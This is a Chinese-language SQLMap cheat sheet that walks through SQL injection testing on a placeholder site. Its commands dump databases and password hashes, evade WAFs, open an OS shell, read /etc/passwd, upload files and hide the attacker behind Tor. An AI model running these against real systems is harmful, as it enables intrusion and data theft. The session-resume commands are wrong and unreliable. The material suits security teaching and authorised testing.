作者:Trix Cyrus
什么是 SQLMap?
SQLMap是一个开源渗透测试工具,用于检测和利用Web应用程序中的SQL注入漏洞。它支持各种数据库系统,如 MySQL、PostgreSQL、Oracle、Microsoft SQL Server 等。
基本用法
要开始使用 SQLMap,您可以通过提供目标 URL 以最简单的形式运行它:
sqlmap -u "http://example.com/index.php?id=1"
此命令扫描目标 URL 是否存在 SQL 注入漏洞。
1。检测漏洞
使用以下选项执行基本的漏洞扫描并自动检测 SQL 注入点:
sqlmap -u "http://example.com/index.php?id=1" --dbs
--dbs:如果发现漏洞,列出目标服务器上所有可用的数据库。
2。指定 POST 请求
对于需要 POST 请求的目标(通常在登录表单中),您可以指定如下数据:
sqlmap -u "http://example.com/login.php" --data="username=admin&password=1234"
3。绕过 WAF 和过滤器
为了逃避 Web 应用程序防火墙 (WAF),SQLMap 包含有效负载混淆技术:
sqlmap -u "http://example.com/index.php?id=1" --tamper=space2comment
--tamper:使用篡改脚本来逃避过滤器。示例:space2comment、charencode。
4。提取数据库、表和列
要获取目标系统上的数据库列表:
sqlmap -u "http://example.com/index.php?id=1" --dbs
识别数据库后,提取其表:
sqlmap -u "http://example.com/index.php?id=1" -D database_name --tables
要从特定表中获取列:
sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --columns
5。转储数据
转储表的内容是 SQLMap 最有用的功能之一。例如,转储特定表中的所有数据:
sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --dump
6。枚举数据库用户和密码
SQLMap 还可以用于枚举数据库用户,甚至破解哈希密码:
sqlmap -u "http://example.com/index.php?id=1" --users sqlmap -u "http://example.com/index.php?id=1" --passwords
7。访问操作系统
在某些情况下,SQLMap可以用来在操作系统上执行命令,特别是当数据库用户具有高级权限时:
sqlmap -u "http://example.com/index.php?id=1" --os-shell
这将提供一个交互式 shell,您可以在其中在目标系统上执行命令。
8。文件上传与读取
您还可以从目标系统读取文件或上传恶意文件(如果允许):
sqlmap -u "http://example.com/index.php?id=1" --file-read="/etc/passwd" sqlmap -u "http://example.com/index.php?id=1" --file-write="/path/to/file" --file-dest="/destination/path"
9。使用 Tor 进行匿名
要隐藏您的身份,您可以通过 Tor 网络运行 SQLMap:
sqlmap -u "http://example.com/index.php?id=1" --tor --tor-type=SOCKS5 --check-tor
--tor:启用 Tor。
--check-tor:验证是否通过 Tor 建立连接。
10。保存和恢复会话
SQLMap 允许您使用 --session 选项保存和恢复进度:
sqlmap -u "http://example.com/index.php?id=1" --session=your_session_name
稍后,您可以通过以下方式恢复同一会话:
sqlmap -r your_session_name
11。详细模式
要查看有关 SQLMap 正在执行的操作的详细信息:
sqlmap -u "http://example.com/index.php?id=1" -v 3
-v 选项控制详细程度(级别从 0 到 6,其中 6 显示所有详细信息)。
SQLMap 支持扫描存储在文件中的多个 URL:
sqlmap -m urls.txt --batch
--batch:使用默认选项自动回答所有提示,对于自动扫描很有用。
还可以使用 --risk=3 和 --level=5 来提前扫描
您可以使用此备忘单向读者介绍 SQLMap 的基本命令,并帮助他们开始 SQL 注入测试。
~TrixSec
以上是SQLMap 备忘单:自动 SQL 注入快速指南的详细内容。更多信息请关注PHP中文网其他相关文章!